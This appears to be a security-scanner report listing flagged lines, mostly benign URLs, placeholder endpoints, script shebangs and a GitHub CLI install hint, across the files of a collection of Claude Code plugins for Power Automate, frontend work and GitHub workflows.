    "name": "John Haugabook",     "url": "https://github.com/jhauga"   },
  • Network accessline 7
    "url": "https://github.com/jhauga"

harness/claude-code/plugins/flowstudio-power-automate/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/SKILL.md

  • Network accessline 26
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 27
    - Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`.
  • Network accessline 36
    3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"`
  • Network accessline 37
    4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a
  • Network accessline 38
    5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition["
  • Network accessline 146
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 147
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 148
    - [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md

  • Network accessline 26
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 27
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 28
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 70
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 71
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 72
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 100
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 101
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 102
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 124
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 125
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 126
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 153
    "connectionName": "<connectionName>", "operationId": "CreateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 154
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "folderPath": "/My Library/Subfolder",
  • Network accessline 155
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 167
    "connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 168
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "path": "/My Library/Subfolder/@{variables('filename')}"
  • Network accessline 169
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 179
    "connectionName": "<connectionName>", "operationId": "UpdateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 180
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']",
  • Network accessline 181
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 222
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 223
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "<list-guid>",
  • Network accessline 224
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 269
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 270
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",       "parameters/method": "POST",
  • Network accessline 271
    "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 315
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 316
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "%252fShared%2bDocuments%252fdata.json",
  • Network accessline 317
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-core.md

  • Network accessline 170
    "inputs": {         "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 171
    "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"       }
  • Network accessline 172
    "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 233
    "inputs": {         "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 234
    "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"       }
  • Network accessline 235
    "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 364
    "Start_Job": {   "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 365
    "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } },
  • Network accessline 366
    "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 384
    "type": "Http",       "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 385
    "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }     },
  • Network accessline 386
    "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 435
    "type": "Http",   "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 436
    "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } },
  • Network accessline 437
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 440
    "type": "Http",   "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
  • Network accessline 441
    "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } }
  • Network accessline 442
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-data.md

  • Network accessline 312
    "inputs": {     "method": "POST",     "uri": "https://api.example.com/endpoint",
  • Network accessline 313
    "method": "POST",     "uri": "https://api.example.com/endpoint",     "headers": {
  • Network accessline 314
    "uri": "https://api.example.com/endpoint",
  • Network accessline 342
    "inputs": {     "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 343
    "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",     "headers": {
  • Network accessline 344
    "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 349
    "authentication": {       "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",
  • Network accessline 350
    "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",       "tenant": "<tenant-id>",
  • Network accessline 351
    "authority": "https://login.microsoftonline.com",
  • Network accessline 352
    "tenant": "<tenant-id>",       "audience": "https://graph.microsoft.com",       "clientId": "<app-registration-id>",
  • Network accessline 353
    "audience": "https://graph.microsoft.com",
  • Network accessline 429
    "inputs": {     "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
  • Network accessline 430
    "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",     "headers": { "Content-Type"
  • Network accessline 431
    "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/build-patterns.md

  • Network accessline 28
    },         "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 29
    "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",           "table": "MyList",
  • Network accessline 30
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/flow-schema.md

  • Network accessline 10
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 11
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 210
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 211
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/trigger-types.md

  • Network accessline 140
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 141
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 142
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 146
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 147
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 148
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 170
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 171
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 172
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 176
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 177
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 178
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-debug/SKILL.md

  • Network accessline 26
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 27
    - Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token.
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 139
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 140
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 141
    - [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md)
  • Network accessline 142
    - [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md)
  • Network accessline 143
    - [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-governance/SKILL.md

  • Network accessline 8
    audit security, or write governance metadata to FlowStudio. metadata:   source: "https://mcp.flowstudio.app."
  • Network accessline 9
    metadata:   source: "https://mcp.flowstudio.app." ---
  • Network accessline 10
    source: "https://mcp.flowstudio.app."
  • Network accessline 29
    - Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point
  • Network accessline 140
    - [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit
  • Network accessline 141
    - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish
  • Network accessline 142
    - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing
  • Network accessline 147
    - [FlowStudio MCP](https://mcp.flowstudio.app.)
  • Network accessline 148
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/SKILL.md

  • Network accessline 27
    - Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app.
  • Network accessline 28
    - MCP endpoint: `https://mcp.flowstudio.app/mcp`.
  • Network accessline 88
    Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati
  • Network accessline 95
    [Credential-related source omitted]
  • Network accessline 96
    MCP = "https://mcp.flowstudio.app/mcp"
  • Network accessline 99
    payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid,                "params": {"name": tool, "arguments": args}}     req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 100
    [Credential-related source omitted]
  • Network accessline 101
    req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 103
    "User-Agent": "FlowStudio-MCP/1.0"})     try:         resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 104
    try:         resp = urllib.request.urlopen(req, timeout=120)     except urllib.error.HTTPError as e:
  • Network accessline 105
    resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 120
    const MCP = "https://mcp.flowstudio.app/mcp";
  • Network accessline 127
    params: { name: tool, arguments: args },   };   const res = await fetch(MCP, {
  • Network accessline 128
    };   const res = await fetch(MCP, {     method: "POST",
  • Network accessline 129
    const res = await fetch(MCP, {
  • Network accessline 164
    | Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 165
    | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont
  • Network accessline 166
    | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 229
    **Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 230
    **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 249
    - [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`.
  • Network accessline 258
    - FlowStudio MCP: https://mcp.flowstudio.app
  • Network accessline 259
    - FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp
  • Network accessline 260
    - FlowStudio MCP subscription page: https://mcp.flowstudio.app.
  • Network accessline 261
    - Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md
  • Network accessline 262
    - Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md
  • Network accessline 263
    - Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md

  • Network accessline 6
    Endpoint:  https://mcp.flowstudio.app/mcp

harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-monitoring/SKILL.md

  • Network accessline 31
    > 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 32
    > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in
  • Network accessline 33
    > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 64
    **Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 66
    ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 129
    "state": "Started",     "triggerType": "Request",     "triggerUrl": "https://{example-url}",
  • Network accessline 130
    "triggerType": "Request",     "triggerUrl": "https://{example-url}",     "tags": ["#operations", "#sensitive"],
  • Network accessline 131
    "triggerUrl": "https://{example-url}",
  • Network accessline 405
    - [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 406
    - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 415
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
  • Network accessline 416
    - [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)

harness/claude-code/plugins/frontend-experience/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "keywords": [
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/frontend-experience/skills/anti-ui-slop/SKILL.md

  • Network accessline 4
    Prevent generic web and iOS interfaces by extracting product-specific design decisions from   repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this   skill when building, refactoring, or reviewing U
  • Network accessline 5
    repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this   skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before   choosing a layout, or when the user wants a
  • Network accessline 6
    skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before
  • Network accessline 27
    - Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available.
  • Network accessline 48
    Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette.
  • Network accessline 154
    - [UIZZE public catalogue](https://uizze.com)

harness/claude-code/plugins/frontend-experience/skills/frontend-accessibility/references/wcag-2.2-aa.md

  • Network accessline 3
    Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo

harness/claude-code/plugins/frontend-experience/skills/frontend-discoverability-assets/references/icon-matrix.md

  • Network accessline 15
    Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html

harness/claude-code/plugins/frontend-experience/skills/frontend-discoverability-assets/references/social-metadata.md

  • Network accessline 16
    Source: https://ogp.me/

harness/claude-code/plugins/frontend-experience/skills/frontend-discoverability-assets/references/technical-seo.md

  • Network accessline 23
    - https://developers.google.com/search/docs/fundamentals/seo-starter-guide
  • Network accessline 24
    - https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data
  • Network accessline 25
    - https://developers.google.com/search/docs/crawling-indexing/robots/intro
  • Network accessline 26
    - https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview

harness/claude-code/plugins/frontend-experience/skills/frontend-project-setup/scripts/install_companions.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/frontend-experience/skills/frontend-project-setup/tests/test_install_companions.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/frontend-experience/skills/frontend-release-quality-gate/scripts/check_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/frontend-experience/skills/frontend-release-quality-gate/tests/test_check_traceability.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/frontend-experience/skills/premium-frontend-ui/SKILL.md

  • Network accessline 8
    metadata:   author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005"
  • Network accessline 9
    author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 10
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 129
    - [Author profile](https://github.com/utkarsh232005)

harness/claude-code/plugins/frontend-experience/skills/web-design-reviewer/SKILL.md

  • Network accessline 35
    1. **Target website must be running**    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 36
    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 68
    > Please provide the URL of the website to review (e.g., `http://localhost:3000`)
  • Network accessline 304
    [Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill.
  • Network accessline 396
    **Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 397
    **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 412
    - [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 413
    - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 423
    - [Playwright MCP](https://github.com/microsoft/playwright-mcp)

harness/claude-code/plugins/frontend-experience/skills/web-design-reviewer/references/framework-fixes.md

  • Network accessline 472
    // Use Chrome DevTools Lighthouse or axe DevTools // Or check at the following site: // https://webaim.org/resources/contrastchecker/
  • Network accessline 474
    // https://webaim.org/resources/contrastchecker/

harness/claude-code/plugins/frontend-web-dev/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/gem-team/.claude-plugin/plugin.json

  • Network accessline 6
    "email": "mubaidr@gmail.com",     "name": "mubaidr",     "url": "https://github.com/mubaidr"
  • Network accessline 7
    "name": "mubaidr",     "url": "https://github.com/mubaidr"   },
  • Network accessline 8
    "url": "https://github.com/mubaidr"
  • Network accessline 9
    },   "homepage": "https://github.com/mubaidr/gem-team",   "repository": "https://github.com/mubaidr/gem-team",
  • Network accessline 10
    "homepage": "https://github.com/mubaidr/gem-team",
  • Network accessline 11
    "repository": "https://github.com/mubaidr/gem-team",

harness/claude-code/plugins/gesture-review/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"
  • Network accessline 6
    "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"   },
  • Network accessline 7
    "url": "https://github.com/aaronpowell"

harness/claude-code/plugins/git-github-workflow/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/git-github-workflow/skills/commit-message-storyteller/SKILL.md

  • Network accessline 33
    Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.

harness/claude-code/plugins/git-github-workflow/skills/commit-message-storyteller/references/conventional-commits-guide.md

  • Network accessline 3
    Full spec: https://www.conventionalcommits.org/en/v1.0.0/

harness/claude-code/plugins/git-github-workflow/skills/conventional-branch/SKILL.md

  • Network accessline 149
    - [Conventional Branch](https://conventional-branch.github.io)
  • Network accessline 150
    - [Conventional Commits](https://www.conventionalcommits.org)

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/SKILL.md

  • Network accessline 76
    | Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf
  • Network accessline 77
    | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message 
  • Network accessline 78
    | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. |
  • Network accessline 135
    - [GitHub CLI](https://cli.github.com)

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/01-request-review.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 56
    # Link header looks like: `<https://api.github.com/...?per_page=100&page=4>; rel="last"`

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/09-review-round.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/_lib.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 47
    - winget install --id GitHub.cli           (Windows)   - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 48
    - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)   - https://cli.github.com/                  (universal installer + download)
  • Dangerous shell operationline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 50
    - https://cli.github.com/                  (universal installer + download)

harness/claude-code/plugins/git-github-workflow/skills/dependabot/SKILL.md

  • Network accessline 351
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 352
    [Credential-related source omitted]
  • Network accessline 353
    url: https://npm.example.com
  • Network accessline 389
    > Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ
  • Network accessline 390
    Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni
  • Network accessline 391
    > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026)
  • Network accessline 434
    - [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu
  • Network accessline 435
    ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e
  • Network accessline 436
    - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/)
  • Network accessline 437
    - [Example private registry endpoint](https://npm.example.com)

harness/claude-code/plugins/git-github-workflow/skills/dependabot/references/dependabot-yml-reference.md

  • Network accessline 339
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 340
    [Credential-related source omitted]
  • Network accessline 341
    url: https://npm.example.com
  • Network accessline 344
    maven-central:     type: maven-repository     url: https://repo.maven.apache.org/maven2
  • Network accessline 345
    type: maven-repository     url: https://repo.maven.apache.org/maven2     username: ""
  • Network accessline 346
    url: https://repo.maven.apache.org/maven2
  • Network accessline 350
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 351
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 352
    url: https://ghcr.io
  • Network accessline 356
